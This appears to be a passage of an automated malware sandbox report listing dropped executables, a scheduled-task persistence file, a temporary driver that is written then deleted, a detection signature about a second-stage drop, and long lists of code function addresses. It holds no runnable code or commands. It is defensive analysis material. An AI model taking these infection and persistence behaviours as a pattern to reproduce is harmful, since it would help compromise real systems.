Source: rapes.exe.0.dr	Static PE information: section name:
Source: s7MG2VL[1].exe.11.dr	Static PE information: section name:
Source: s7MG2VL[1].exe.11.dr	Static PE information: section name: .idata
Source: s7MG2VL[1].exe.11.dr	Static PE information: section name:
Source: s7MG2VL.exe.11.dr	Static PE information: section name:
Source: s7MG2VL.exe.11.dr	Static PE information: section name: .idata
Source: s7MG2VL.exe.11.dr	Static PE information: section name:

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe

File created: C:\Windows\Temp\gvh50gjo_3616.sys

Source: C:\Users\user\Desktop\13s1HMkHKv.exe

File created: C:\Windows\Tasks\rapes.job

Jump to behavior

Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe

File deleted: C:\Windows\Temp\gvh50gjo_3616.sys

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_002261F0	11_2_002261F0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_0022B700	11_2_0022B700
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_00264047	11_2_00264047
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_002618D7	11_2_002618D7
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_002251A0	11_2_002251A0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_00237320	11_2_00237320
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_0029AB5C	11_2_0029AB5C
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_00252C20	11_2_00252C20
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_0022CC40	11_2_0022CC40
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_00225450	11_2_00225450
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_0024B4C0	11_2_0024B4C0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_00265CD4	11_2_00265CD4
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_00265DF4	11_2_00265DF4
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_00224EF0	11_2_00224EF0
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_0024F6DB	11_2_0024F6DB
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BF4CB0	15_2_00BF4CB0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BF6460	15_2_00BF6460
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BB553B	15_2_00BB553B
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD1F50	15_2_00BD1F50
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD98A0	15_2_00BD98A0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BF78A0	15_2_00BF78A0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BF6090	15_2_00BF6090
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C090F0	15_2_00C090F0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C0E0F0	15_2_00C0E0F0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C1B0F0	15_2_00C1B0F0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BCA0F0	15_2_00BCA0F0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC50E0	15_2_00BC50E0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD00E0	15_2_00BD00E0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD28C0	15_2_00BD28C0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BBE030	15_2_00BBE030
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C0C050	15_2_00C0C050
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BDE020	15_2_00BDE020
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BCD810	15_2_00BCD810
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BEA810	15_2_00BEA810
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C0D070	15_2_00C0D070
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BB1000	15_2_00BB1000
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C12800	15_2_00C12800
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BEC870	15_2_00BEC870
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BED070	15_2_00BED070
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C06010	15_2_00C06010
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BCF860	15_2_00BCF860
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BB5856	15_2_00BB5856
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C1A030	15_2_00C1A030
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC3840	15_2_00BC3840
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C141D0	15_2_00C141D0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC01A0	15_2_00BC01A0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC89A0	15_2_00BC89A0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BB8990	15_2_00BB8990
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BCF190	15_2_00BCF190
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C0D980	15_2_00C0D980
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BB41D0	15_2_00BB41D0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BEE9C0	15_2_00BEE9C0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BE8130	15_2_00BE8130
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BE0110	15_2_00BE0110
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BCE900	15_2_00BCE900
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BBC906	15_2_00BBC906
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BE8900	15_2_00BE8900
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C1D90A	15_2_00C1D90A
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BE7170	15_2_00BE7170
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C04110	15_2_00C04110
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BBB960	15_2_00BBB960
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C06920	15_2_00C06920
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC9150	15_2_00BC9150
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC6940	15_2_00BC6940
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C222CA	15_2_00C222CA
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC82B0	15_2_00BC82B0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC7AA0	15_2_00BC7AA0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BE8AA0	15_2_00BE8AA0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD3A90	15_2_00BD3A90
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD5290	15_2_00BD5290
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BB9AF6	15_2_00BB9AF6
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BB72E0	15_2_00BB72E0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C112B0	15_2_00C112B0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C17AB0	15_2_00C17AB0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C0BA40	15_2_00C0BA40
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BDCA30	15_2_00BDCA30
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BDDA30	15_2_00BDDA30
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD3200	15_2_00BD3200
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C01A00	15_2_00C01A00
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BF8A70	15_2_00BF8A70
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C12210	15_2_00C12210
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C13A20	15_2_00C13A20
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BBD250	15_2_00BBD250
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BE3A50	15_2_00BE3A50
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C28230	15_2_00C28230
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BF0240	15_2_00BF0240
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC1BA0	15_2_00BC1BA0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BCE3A0	15_2_00BCE3A0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BE53A0	15_2_00BE53A0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C193E0	15_2_00C193E0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC0B90	15_2_00BC0B90
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BCDB80	15_2_00BCDB80
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BDA3F0	15_2_00BDA3F0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BDABF0	15_2_00BDABF0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BEABF0	15_2_00BEABF0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BF93D0	15_2_00BF93D0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C07BB0	15_2_00C07BB0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C0D3B0	15_2_00C0D3B0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BDD330	15_2_00BDD330
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C00350	15_2_00C00350
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C0C350	15_2_00C0C350
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD7320	15_2_00BD7320
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BF1320	15_2_00BF1320
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BB8310	15_2_00BB8310
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BCB310	15_2_00BCB310
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BBCB0F	15_2_00BBCB0F
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BBA300	15_2_00BBA300
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BB7B00	15_2_00BB7B00
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD9360	15_2_00BD9360
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC7B50	15_2_00BC7B50
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BFA350	15_2_00BFA350
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C13330	15_2_00C13330
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BFEB40	15_2_00BFEB40
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C084C0	15_2_00C084C0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C1A4C0	15_2_00C1A4C0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BDE490	15_2_00BDE490
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC4430	15_2_00BC4430
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC0430	15_2_00BC0430
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BCD410	15_2_00BCD410
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC4C10	15_2_00BC4C10
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BE6410	15_2_00BE6410
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD2C00	15_2_00BD2C00
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C11C00	15_2_00C11C00
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BCEC70	15_2_00BCEC70
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BE3C70	15_2_00BE3C70
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C18420	15_2_00C18420
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC2450	15_2_00BC2450
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD5450	15_2_00BD5450
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C03430	15_2_00C03430
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C195D0	15_2_00C195D0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BEC5A0	15_2_00BEC5A0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD2D80	15_2_00BD2D80
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BEDD80	15_2_00BEDD80
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BDB5F0	15_2_00BDB5F0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BB5DF6	15_2_00BB5DF6
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BF7DF0	15_2_00BF7DF0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C35592	15_2_00C35592
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC0DE0	15_2_00BC0DE0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BEDDD9	15_2_00BEDDD9
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BB8DD0	15_2_00BB8DD0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BE7DD0	15_2_00BE7DD0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BEF5D0	15_2_00BEF5D0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD55C0	15_2_00BD55C0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BB9D30	15_2_00BB9D30
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC6530	15_2_00BC6530
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD3530	15_2_00BD3530
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BEFD20	15_2_00BEFD20
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C13D60	15_2_00C13D60
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC3510	15_2_00BC3510
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C09576	15_2_00C09576
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD9D00	15_2_00BD9D00
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C0FD00	15_2_00C0FD00
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BEB560	15_2_00BEB560
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C0F530	15_2_00C0F530
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD5EB0	15_2_00BD5EB0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BF3EA0	15_2_00BF3EA0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BBE690	15_2_00BBE690
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BF2E80	15_2_00BF2E80
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C0AE80	15_2_00C0AE80
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BBB6F0	15_2_00BBB6F0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD66F0	15_2_00BD66F0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C05690	15_2_00C05690
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BED6E0	15_2_00BED6E0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BE86E0	15_2_00BE86E0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BFAEE0	15_2_00BFAEE0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BDC6D0	15_2_00BDC6D0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC76C0	15_2_00BC76C0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BEAEC0	15_2_00BEAEC0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C14640	15_2_00C14640
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC0620	15_2_00BC0620
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BDFE20	15_2_00BDFE20
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C0A660	15_2_00C0A660
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BBC610	15_2_00BBC610
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD0E10	15_2_00BD0E10
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C17E10	15_2_00C17E10
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BBDE60	15_2_00BBDE60
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BF1660	15_2_00BF1660
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BF9650	15_2_00BF9650
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C07630	15_2_00C07630
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C11630	15_2_00C11630
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C02FC0	15_2_00C02FC0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BF6F90	15_2_00BF6F90
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C007F0	15_2_00C007F0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BBD7F0	15_2_00BBD7F0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C0FF90	15_2_00C0FF90
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD6FC0	15_2_00BD6FC0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC3F20	15_2_00BC3F20
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BB9718	15_2_00BB9718
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BBBF10	15_2_00BBBF10
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BD2F10	15_2_00BD2F10
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BBA700	15_2_00BBA700
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C05700	15_2_00C05700
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C0EF10	15_2_00C0EF10
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C33718	15_2_00C33718
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00BC9740	15_2_00BC9740
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0044D840	17_2_0044D840
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_004208E0	17_2_004208E0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_004378FD	17_2_004378FD
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00417090	17_2_00417090
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0043892B	17_2_0043892B
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0040BA00	17_2_0040BA00
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0044BA1B	17_2_0044BA1B
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0044EAB0	17_2_0044EAB0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0042F3D0	17_2_0042F3D0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00444BF0	17_2_00444BF0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00448B80	17_2_00448B80
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0044E390	17_2_0044E390
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00427C10	17_2_00427C10
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0041552D	17_2_0041552D
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0044B63F	17_2_0044B63F
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0041EE8D	17_2_0041EE8D
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00444F20	17_2_00444F20
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0042BFD0	17_2_0042BFD0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00401040	17_2_00401040
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0044E040	17_2_0044E040
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0043D86B	17_2_0043D86B
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0042C820	17_2_0042C820
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_004308CB	17_2_004308CB
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0041E8E3	17_2_0041E8E3
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0044D0F0	17_2_0044D0F0
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_004258BC	17_2_004258BC
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0043E946	17_2_0043E946
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00422953	17_2_00422953
